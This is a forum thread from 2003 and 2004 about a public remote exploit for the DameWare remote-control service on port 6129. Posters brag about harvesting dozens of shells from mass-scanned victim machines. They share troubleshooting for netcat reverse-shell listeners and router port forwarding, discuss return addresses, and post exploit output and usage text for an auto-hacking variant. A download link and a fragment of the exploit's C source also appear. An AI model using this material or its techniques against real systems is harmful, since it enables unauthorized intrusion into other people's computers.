Is there any tool with which we could scan this port and get some banner in response so we can know what version of dameware it is...
WTF. I get [+] connecting to IP error: wrong data recieved
Have anyone else gotten this error??? I get it allways..
DaywalkerX
Dec 25 2003, 01:16 AM
why not win2000,i found so many win2000 server with dameware btw n02 after real server but the most machines i found have av... and routed :/
GhostCow
Dec 25 2003, 10:19 AM
great stuff, it works like a charm
psycho-lvlantis
Dec 26 2003, 11:37 AM
very good stuff man, have to try it
X-FloppY
Dec 26 2003, 12:52 PM
Auto hacker \: i'll try to build one
Hexboy
Dec 26 2003, 01:30 PM
Interesting code. Software these days...
Axl
Dec 27 2003, 12:59 AM
QUOTE (UnDeRTaKeR @ Dec 21 2003, 09:36 PM)
well i dont have complaints... it all worked perfect for me... i got something like 20 shells from that nice exploit
ack mine used to work and then when i redownloaded nothing works i do a nc -l -vv -p 15 then i go DameWeird *.*.*.* *.*.*.* 15 tells me shell should be arrived at *.*.*.*:15 and it never does.
LiQuid
Dec 27 2003, 03:46 AM
QUOTE (QuantumTopology @ Dec 27 2003, 12:59 AM)
QUOTE (UnDeRTaKeR @ Dec 21 2003, 09:36 PM)
well i dont have complaints... it all worked perfect for me... i got something like 20 shells from that nice exploit
ack mine used to work and then when i redownloaded nothing works i do a nc -l -vv -p 15 then i go DameWeird *.*.*.* *.*.*.* 15 tells me shell should be arrived at *.*.*.*:15 and it never does.
Maybe the Server is firewalled?
Axl
Dec 27 2003, 07:57 AM
QUOTE (LiQuid @ Dec 27 2003, 03:46 AM)
QUOTE (QuantumTopology @ Dec 27 2003, 12:59 AM)
QUOTE (UnDeRTaKeR @ Dec 21 2003, 09:36 PM)
well i dont have complaints... it all worked perfect for me... i got something like 20 shells from that nice exploit
ack mine used to work and then when i redownloaded nothing works i do a nc -l -vv -p 15 then i go DameWeird *.*.*.* *.*.*.* 15 tells me shell should be arrived at *.*.*.*:15 and it never does.
Maybe the Server is firewalled?
Hmm... i don't know it used to work but lately they haven't been even when i use say port 6129
Alien
Dec 27 2003, 08:08 AM
this exploit is great i scaning 5 min. i got 30 shells :] thx for share
Axl
Dec 27 2003, 08:29 AM
QUOTE (Alien @ Dec 27 2003, 08:08 AM)
this exploit is great i scaning 5 min. i got 30 shells :] thx for share
I want shells again it's upsetting me.
klassik
Dec 27 2003, 09:25 AM
Maybe you should go buy one? HEEHEE.
Nice exploit.
TmZ
Dec 27 2003, 09:31 AM
exploit worx fine if u cant get it to work youre really doing something wrong cuz its hell easy but they exploit is dying pretty fast so dont expect to get much shells anymore...
GreEtZ TmZ
Axl
Dec 27 2003, 10:20 AM
QUOTE (klassik @ Dec 27 2003, 09:25 AM)
Maybe you should go buy one? HEEHEE.
Nice exploit.
Shutup klassik, you are worthless.... making me scan for the lame exploit and make the automatic installing packs damn you bastard hahah. lol l8r dude. and TmZ you are stupid telling me i'm doing something wrong because i'm not. Well i'm gonna say it's something with my windows install cause i tried running netcat on a bot of mine and it worked...
dozolax01
Dec 29 2003, 05:46 PM
Yea...I found that the first time that I used the exploit it worked fine, but it seems lately that after I apply the exploit, I never receive a shell. I'm not sure why but it is a good exploit.
Feanor
Dec 29 2003, 05:58 PM
THis exploit worked for me, but not lots of vulnerable comps for me...
Hellraiseruk
Dec 29 2003, 06:25 PM
can't someone makes this prog remote friendly lol
everytime i go to dmz mode and then try this it works for abit then screws my connection then i have to reset my router and dmz mode is off so back where i started
andi tryed that nc but still my god dam router blocks it lol
l0wkey
Dec 29 2003, 08:54 PM
I havn't been able to see ANY vuln hosts. Must be dying off quick.
tazthedev
Dec 29 2003, 11:27 PM
IM IN !!!
IT WORKS !!
- Versions vulnerable: <= DWRCS 3.72.0.0 - Tested on: DWRCS ver: 3.72.0.0 Win2k Pro SP3 & WinXP Pro S
[*] Initializing sockets... [ OK ] [*] Binding to local port: 4821... [ OK ] [*] Setting up a listener... [ OK ] [*] Connecting to xxx.xxx.xxx.xxx:6129... [ OK ]
packets_recv = 4096
OS Info : WIN2000 [ver 5.0.2195] SP String : Service Pack 4
EIP: 0x717564b8 (comctl32.dll)
[*] Constructing packet for WIN 2000 SP: 4... [ OK ] [*] Packet injected! [*] Connection request accepted: xxx.xxx.xxx.xxx:1071 [*] Dropping to shell...
Damned people, many people in here just want to hack to show off or what? Suc6 to the real hackers!
Jimbras
Dec 30 2003, 04:01 PM
xi, im getting tired.
always getting .... error: connection refused
zero-maitimax
Dec 30 2003, 04:32 PM
QUOTE (rush @ Dec 30 2003, 02:03 PM)
Damned people, many people in here just want to hack to show off or what? Suc6 to the real hackers!
i don't think they show off..
they only let us see that the exploit indeed works and not justa a public version with bugs. and the program doesn't work..
Feanor
Dec 30 2003, 05:01 PM
QUOTE (Jimbras @ Dec 30 2003, 04:01 PM)
xi, im getting tired.
always getting .... error: connection refused
It's just that there aren't many vulnerable servers.
ST.
Dec 30 2003, 09:43 PM
if u can't compile something, just go to your victim and ask him "hey I want to see some files in your computer", i sure he will show you
zero-maitimax
Dec 31 2003, 12:17 AM
QUOTE (ST. @ Dec 30 2003, 09:43 PM)
if u can't compile something, just go to your victim and ask him "hey I want to see some files in your computer", i sure he will show you
i don't wanne start a flameware but i think we aren't stupid so even the victum isn't stupid...
tstngry
Dec 31 2003, 08:24 AM
I am having trouble compiling the exploit. i use dev c++, and when i do it it says there way a whole buch or errors. Do i need to choose some option based on what the code was written in or do i need a didfferent prog. If so what one. Thnx in advance!
QuadMedic
Dec 31 2003, 12:29 PM
this sploit worked gr8 thanx to the compilers ....... but it is dying fast now
headbanger
Dec 31 2003, 08:17 PM
great exploit, it works great! thans dude
tstngry
Jan 1 2004, 05:28 AM
May i just ask what program you guys used to compile this. I tried bloodshed c++, but i get errors. I qwould really like to know what program to use. BTW i understand c++, aand am not a script kiddie! THNX
Cow|
Jan 3 2004, 12:24 PM
For all the peppes who couldn't compile it here you can find a good version h**p://www.security.nnov.ru/files/dmware.rar
rush
Jan 3 2004, 01:35 PM
Cow| just try that version it wont work. There arent good public xploits of this one, so far as i know..
Cow|
Jan 3 2004, 02:06 PM
It works i got shells with it when you are using a router you need to open a port for it example your return port = 70 then open port 70 on your router and that is it no netcat required for this 1
Gargamel
Jan 3 2004, 06:16 PM
@Cow i have a router and i open my returnport, but i didnt get a shell, although i should get one (shell should be arrived at xxx:xx or so) and this over 30times.
but a friend could connect to my netcat over telnet without problems. any knwo what to do?
sry for my bad english
Lanig
Jan 3 2004, 06:54 PM
could be just bad luck... even if its says that the shell should arrive theres a good chance it wont
BillyJawz
Jan 3 2004, 10:13 PM
Well that sploit still isnt running on my XP box (got to have some debug on it). Anyone did find good EIP return adresses in his favorite debugger?
Did find the one that works for Adik sploit (seems like metasploit adresses arnt up to date) -> jmp esp adresse in advapi32.dll. Works greet but hardcoded adresses suxxx.
Cya
Steffan
Jan 4 2004, 04:52 PM
found something on the web but I got now source/binary.. anybody go it here ??
I must have this one !!!
[+]-------------------------------------------------------------[+] [+] Dameware Autoh4x0r V.0.7a 3.72.0.0 Exploit moded by M@steR [+] [+] removed the l4m3-stuff from netninja + add UNI-RET [+] [+]-------------------------------------------------------------[+] [+] Initializing sockets... [+] OS Info : [+] WIN2000 [ver 5.0.2195] SP String : [+] Constructing packet for WIN 2000 SP: 0... [+] Connecting to 192.168.144.2:6129... [+] Inject packet and shellcode ... [+] Packet & shellcode injected!
[+]-------------------------------------------------------------[+] [+] Dameware Autoh4x0r V.0.9a <3.72.0.0 Exploit moded by M@steR [+] [+] removed the l4m3-stuff from netninja + add UNI-RET [+] [+]-------------------------------------------------------------[+] [-] Usage: dmware <Target> <TGTport> <IP> <Port> (default) [-] or bindshell -> <Target> <TGTport> <options> [-] -s bind a shell & connect to [-] -a Autoh4x0r using requests.txt as cmd.file [-] -b brute force RET-Address
BillyJawz
Jan 4 2004, 05:36 PM
Looks interesting indeed, havnt heard of any UNI RET yet...
F30R
Jan 4 2004, 09:09 PM
nice i search about the .c
if u have the files could u pm me
thks a lot
ara
Jan 5 2004, 05:06 AM
many thanks to kralor, a fine piece of work
thotho
Jan 5 2004, 06:27 AM
Great exploit thanks
cha0s
Jan 6 2004, 12:26 PM
works great
babbacool
Jan 7 2004, 01:05 PM
Thanks for this exploit I'm gonna test it...
Damn I'm a bit late for this one I hope that i'll get some shell...
Copkill
Jan 7 2004, 06:16 PM
yes is very late
Great exploit,i ´ve got many shell´s
Big Thx
BillyJawz
Jan 7 2004, 10:48 PM
Hi all,
here is a mix of Adik exploit and the one posted here...keeps the best of each (better sp management by Adik and no nc needed, better connections and error report by Crpt). It uses same RET values, so nothing very new but i like it like that.
printf("\t\t[ OK ]\n"); printf("[*] Setting up a listener..."); if(listen(localSockTCP,1) != 0) { printf("\t\t\t[ FAILED ]\nFailed to listen on port: %s! Exiting...\n",argv[3]); WSACleanup(); return 1; } printf("\t\t\t[ OK ]\n");
printf("[*] Connecting to %s:%d...",argv[1],PORT);
Us compiling it for you will only be a quick fix..it will not teach you how to compile you're own exploits. Now what errors did you get since it compiled for me ok.
Xxplozive
Jan 9 2004, 01:55 AM
Its a very nice xploit. i've got many fast shells
zarp
Jan 9 2004, 01:21 PM
yes it appear nice this one Thx
mmyumu
Jan 9 2004, 03:38 PM
Thanks for this exploit it seems to be nice
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.